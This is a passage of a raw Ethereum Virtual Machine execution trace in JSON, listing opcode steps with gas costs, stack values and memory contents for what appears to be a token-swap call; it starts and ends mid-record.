000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12647,"op":"SUB","gas":99002,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12648,"op":"DUP1","gas":98999,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12649,"op":"DUP6","gas":98996,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12650,"op":"AND","gas":98993,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12651,"op":"PUSH1","gas":98990,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12653,"op":"DUP4","gas":98987,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12654,"op":"ADD","gas":98984,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x24","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12655,"op":"MSTORE","gas":98981,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x244"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":12656,"op":"DUP4","gas":98975,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb000000000000000000000000000000000000000000000000000000000"]},{"pc":12657,"op":"AND","gas":98972,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb000000000000000000000000000000000000000000000000000000000"]},{"pc":12658,"op":"PUSH1","gas":98969,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb000000000000000000000000000000000000000000000000000000000"]},{"pc":12660,"op":"DUP3","gas":98966,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb000000000000000000000000000000000000000000000000000000000"]},{"pc":12661,"op":"ADD","gas":98963,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x44","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb000000000000000000000000000000000000000000000000000000000"]},{"pc":12662,"op":"MSTORE","gas":98960,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x264"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb000000000000000000000000000000000000000000000000000000000"]},{"pc":12663,"op":"PUSH1","gas":98954,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000"]},{"pc":12665,"op":"DUP2","gas":98951,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa